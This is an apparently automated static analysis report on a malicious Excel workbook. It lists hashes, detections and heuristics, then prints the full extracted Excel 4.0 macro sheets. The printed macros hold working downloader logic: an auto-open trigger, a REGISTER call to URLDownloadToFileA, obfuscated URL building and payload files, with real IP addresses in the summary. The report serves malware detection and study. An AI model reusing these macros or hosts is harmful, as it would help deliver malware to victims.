Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b6ef08b4cf33d69b…

MALICIOUS

Office (OOXML)

183.2 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-06-04
MD5: 00d9fe6911012635b69cea97e67dff12 SHA-1: aa91865eb3f80bbc6cc8000d249dd23120ad69b5 SHA-256: b6ef08b4cf33d69b1672c9c4b92a11c96dbeec2abf9095f78cd8e1cdf8dc4fb1
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains multiple Excel 4.0 macro sheets, including one with an Auto_Open defined name, indicating it's designed to execute code upon opening. The macros utilize dangerous functions like REGISTER and EXEC to download a payload from the reconstructed URL "http://190.14.38.118/45.138.157.157/176.31.87.211/". This functionality strongly suggests a downloader role.

Heuristics 6

  • ClamAV: Xls.Downloader.GreenEnable06210-9869360-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.GreenEnable06210-9869360-0
  • Excel 4.0 macro sheet (10 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: FORMULA, GOTO, REGISTER, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 10 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 10

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml 3233 bytes
SHA-256: a59fc544cb8b2d600fcfc478b6d758f14bb5a970dcbd7bed9b6381d0fa65ddcb
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{E47BFF16-3647-4865-B01F-CFF5032E32ED}"><dimension ref="F7:K24"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="6" width="9.140625" style="2"/><col min="7" max="8" width="10.42578125" style="2" customWidth="1"/><col min="9" max="9" width="10.85546875" style="2" customWidth="1"/><col min="10" max="10" width="24.140625" style="2" bestFit="1" customWidth="1"/><col min="11" max="16384" width="9.140625" style="2"/></cols><sheetData><row r="7" spans="6:11" x14ac:dyDescent="0.25"><c r="J7" s="2" t="b"><f>FORMULA(F12&amp;Pervi2!G14&amp;Pervi2!G15,J9)</f><v>0</v></c></row><row r="10" spans="6:11" x14ac:dyDescent="0.25"><c r="I10" s="2" t="s"><v>0</v></c><c r="J10" s="2"><f>NOW()</f><v>44341.566442013886</v></c></row><row r="12" spans="6:11" x14ac:dyDescent="0.25"><c r="F12" s="2" t="s"><v>1</v></c></row><row r="13" spans="6:11" x14ac:dyDescent="0.25"><c r="F13" s="2" t="s"><v>2</v></c><c r="J13" s="2" t="e"><f>Kokiser(0,K13&amp;I14&amp;J10&amp;I10,sobr1!D15,J24,J24)</f><v>#NAME?</v></c><c r="K13" s="2" t="str"><f>K16&amp;K17&amp;K18</f><v>http://</v></c></row><row r="14" spans="6:11" x14ac:dyDescent="0.25"><c r="F14" s="2" t="s"><v>3</v></c><c r="I14" s="2" t="s"><v>13</v></c></row><row r="15" spans="6:11" x14ac:dyDescent="0.25"><c r="F15" s="2" t="s"><v>4</v></c><c r="I15" s="2" t="s"><v>14</v></c><c r="J15" s="2" t="e"><f>Kokiser(0,K13&amp;I15&amp;J10&amp;I10,sobr1!E15,J24,J24)</f><v>#NAME?</v></c></row><row r="16" spans="6:11" x14ac:dyDescent="0.25"><c r="F16" s="2" t="s"><v>11</v></c><c r="I16" s="2" t="s"><v>15</v></c><c r="K16" s="2" t="str"><f>"ht"</f><v>ht</v></c></row><row r="17" spans="6:11" x14ac:dyDescent="0.25"><c r="F17" s="2" t="s"><v>12</v></c><c r="J17" s="2" t="e"><f>Kokiser(0,K13&amp;I16&amp;J10&amp;I10,sobr1!F15,J24,J24)</f><v>#NAME?</v></c><c r="K17" s="2" t="str"><f>"tp"</f><v>tp</v></c></row><row r="18" spans="6:11" x14ac:dyDescent="0.25"><c r="F18" s="2" t="s"><v>5</v></c><c r="K18" s="2" t="str"><f>"://"</f><v>://</v></c></row><row r="21" spans="6:11" x14ac:dyDescent="0.25"><c r="J21" s="2" t="b"><f>GOTO(sobr1!H4)</f><v>0</v></c></row><row r="24" spans="6:11" x14ac:dyDescent="0.25"><c r="J24" s="2"><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>
xlm_sheet_01.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet2.xml 1785 bytes
SHA-256: 716d1708b78778701c84eaf2d848c4aa6dbc859a82080c58f06a0fbf48f39542
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{FE4C23C8-402C-4855-A94B-79B9C3B5C8C7}"><dimension ref="G14:G15"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="7" width="9.140625" style="2"/><col min="8" max="8" width="14" style="2" customWidth="1"/><col min="9" max="9" width="9.140625" style="2"/><col min="10" max="10" width="14.5703125" style="2" customWidth="1"/><col min="11" max="16384" width="9.140625" style="2"/></cols><sheetData><row r="14" spans="7:7" x14ac:dyDescent="0.25"><c r="G14" s="2" t="str"><f>Pervi!F13&amp;Pervi!F14&amp;Pervi!F15</f><v>REGISTER("uRlMon","URLDownload</v></c></row><row r="15" spans="7:7" x14ac:dyDescent="0.25"><c r="G15" s="2" t="str"><f>Pervi!F16&amp;Pervi!F17&amp;Pervi!F18</f><v>ToFileA","JJCCBB","Kokiser",,1,9)</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>
xlm_sheet_02.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet3.xml 2308 bytes
SHA-256: ee53724c013f6d80cfb10a8b258801e38cf83ba9a7366385139d3838a400abd3
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{8C705E67-FBCE-463D-956E-F101FD370AA7}"><dimension ref="D10:H18"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="11" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="7" width="11" style="2"/><col min="8" max="8" width="14.42578125" style="2" bestFit="1" customWidth="1"/><col min="9" max="16384" width="11" style="2"/></cols><sheetData><row r="10" spans="4:8" x14ac:dyDescent="0.25"><c r="H10" s="2" t="b"><f>FORMULA(D13&amp;D14&amp;D15,I10)</f><v>0</v></c></row><row r="12" spans="4:8" x14ac:dyDescent="0.25"><c r="D12" s="2" t="s"><v>1</v></c></row><row r="13" spans="4:8" x14ac:dyDescent="0.25"><c r="D13" s="2" t="s"><v>6</v></c></row><row r="14" spans="4:8" x14ac:dyDescent="0.25"><c r="D14" s="2" t="s"><v>7</v></c></row><row r="15" spans="4:8" x14ac:dyDescent="0.25"><c r="D15" s="2" t="str"><f>"..\Hikos.hertolo"</f><v>..\Hikos.hertolo</v></c><c r="E15" s="2" t="str"><f>"..\Hikos.hertolo1"</f><v>..\Hikos.hertolo1</v></c><c r="F15" s="2" t="str"><f>"..\Hikos.hertolo2"</f><v>..\Hikos.hertolo2</v></c></row><row r="16" spans="4:8" x14ac:dyDescent="0.25"><c r="D16" s="2" t="s"><v>8</v></c></row><row r="17" spans="4:8" x14ac:dyDescent="0.25"><c r="D17" s="2" t="s"><v>9</v></c><c r="H17" s="2" t="b"><f>GOTO(sobr111!G9)</f><v>0</v></c></row><row r="18" spans="4:8" x14ac:dyDescent="0.25"><c r="D18" s="2" t="s"><v>10</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_03.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet4.xml 1587 bytes
SHA-256: cd3ab4b8e7330421af8fef3b07d1c240d54bea1ef413297f8b55501b9a0e2772
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{181EBE6F-8590-4441-A48C-0D49315714E2}"><dimension ref="G12:G21"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="11.42578125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="6" width="11.42578125" style="2"/><col min="7" max="7" width="23.42578125" style="2" bestFit="1" customWidth="1"/><col min="8" max="16384" width="11.42578125" style="2"/></cols><sheetData><row r="12" spans="7:7" x14ac:dyDescent="0.25"><c r="G12" s="2" t="b"><f>FORMULA(sobr1!D16&amp;sobr1!D17&amp;sobr1!D18,H12)</f><v>0</v></c></row><row r="21" spans="7:7" x14ac:dyDescent="0.25"><c r="G21" s="2" t="b"><f>GOTO(sobr2!H8)</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_04.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet5.xml 1587 bytes
SHA-256: 6b118fd093ce5f52799b56aa29ca562e201fc37655267d384c84fbe05ec198aa
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{909A7A1B-3141-4E9F-ACDA-5112CD802904}"><dimension ref="H12:H19"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="12.28515625" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="7" width="12.28515625" style="2"/><col min="8" max="8" width="22.85546875" style="2" bestFit="1" customWidth="1"/><col min="9" max="16384" width="12.28515625" style="2"/></cols><sheetData><row r="12" spans="8:8" x14ac:dyDescent="0.25"><c r="H12" s="2" t="b"><f>FORMULA(sobr1!D13&amp;sobr1!D14&amp;sobr1!E15,I12)</f><v>0</v></c></row><row r="19" spans="8:8" x14ac:dyDescent="0.25"><c r="H19" s="2" t="b"><f>GOTO(sobr3!H7)</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_05.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet6.xml 1580 bytes
SHA-256: d86382cd48cf5b090eb645f7251494f82b2e8c61e4e94a94ba295a5a9a8c628b
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{173EF3D9-3A82-495A-8C09-62B0D75AC525}"><dimension ref="H14:H21"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="15.140625" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="7" width="15.140625" style="2"/><col min="8" max="8" width="22.85546875" style="2" bestFit="1" customWidth="1"/><col min="9" max="16384" width="15.140625" style="2"/></cols><sheetData><row r="14" spans="8:8" x14ac:dyDescent="0.25"><c r="H14" s="2" t="b"><f>FORMULA(sobr1!D13&amp;sobr1!D14&amp;sobr1!F15,I14)</f><v>0</v></c></row><row r="21" spans="8:8" x14ac:dyDescent="0.25"><c r="H21" s="2" t="b"><f>GOTO(zap1!H7)</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_06.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet7.xml 1586 bytes
SHA-256: 564a12d089bea2438d54307bbe41077c7c199180e2f4d57332081b6e2b2c2cb6
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{0DA7ECFB-5281-438C-A3F5-354783F37D5B}"><dimension ref="H10:H18"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="17.85546875" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="7" width="17.85546875" style="2"/><col min="8" max="8" width="24.140625" style="2" bestFit="1" customWidth="1"/><col min="9" max="16384" width="17.85546875" style="2"/></cols><sheetData><row r="10" spans="8:8" x14ac:dyDescent="0.25"><c r="H10" s="2" t="b"><f>FORMULA(sobr1!D12&amp;sobr1!I10&amp;sobr111!H12,H13)</f><v>0</v></c></row><row r="18" spans="8:8" x14ac:dyDescent="0.25"><c r="H18" s="2" t="b"><f>GOTO(zap2!I6)</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_07.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet8.xml 1583 bytes
SHA-256: 66150b001e8a7524a17d0bdcfa2d5a5d387a75b9c9ca16a1d1bba19ccb52a96e
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{B72A5B93-7EB0-4ADC-81C4-2331D80C6217}"><dimension ref="I15:I22"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="18.140625" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="8" width="18.140625" style="2"/><col min="9" max="9" width="23.7109375" style="2" bestFit="1" customWidth="1"/><col min="10" max="16384" width="18.140625" style="2"/></cols><sheetData><row r="15" spans="9:9" x14ac:dyDescent="0.25"><c r="I15" s="2" t="b"><f>FORMULA(sobr1!D12&amp;sobr2!I12&amp;sobr111!H12,I18)</f><v>0</v></c></row><row r="22" spans="9:9" x14ac:dyDescent="0.25"><c r="I22" s="2" t="b"><f>GOTO(zap3!J11)</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_08.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet9.xml 1561 bytes
SHA-256: 32deba180b1d50bf8dc140f42042696af27da0b8d8f58ce045bea4a1bef5015c
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{58AF8ED4-316A-4BC0-A18B-1ED79419BFAC}"><dimension ref="J15:J20"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="19" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="9" width="19" style="2"/><col min="10" max="10" width="23.85546875" style="2" bestFit="1" customWidth="1"/><col min="11" max="16384" width="19" style="2"/></cols><sheetData><row r="15" spans="10:10" x14ac:dyDescent="0.25"><c r="J15" s="2" t="b"><f>FORMULA(sobr1!D12&amp;sobr3!I14&amp;sobr111!H12,J18)</f><v>0</v></c></row><row r="20" spans="10:10" x14ac:dyDescent="0.25"><c r="J20" s="2" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_09.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 1498 bytes
SHA-256: 867a6ad5ec743bf32bd430da32ba770bbe97c8032cc70b36d5f7b25b690caefe
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{E82A3E90-EF7C-4C67-A03E-D054DC7362F9}"><dimension ref="A9:A16"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="30.28515625" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="30.28515625" style="2"/></cols><sheetData><row r="9" spans="1:1" x14ac:dyDescent="0.25"><c r="A9" s="2" t="b"><f>PI()=ON.TIME(NOW()+"00:00:02","Klote")=PI()</f><v>0</v></c></row><row r="16" spans="1:1" x14ac:dyDescent="0.25"><c r="A16" s="2" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>

Open this report in the interactive analyzer, or submit your own file for analysis.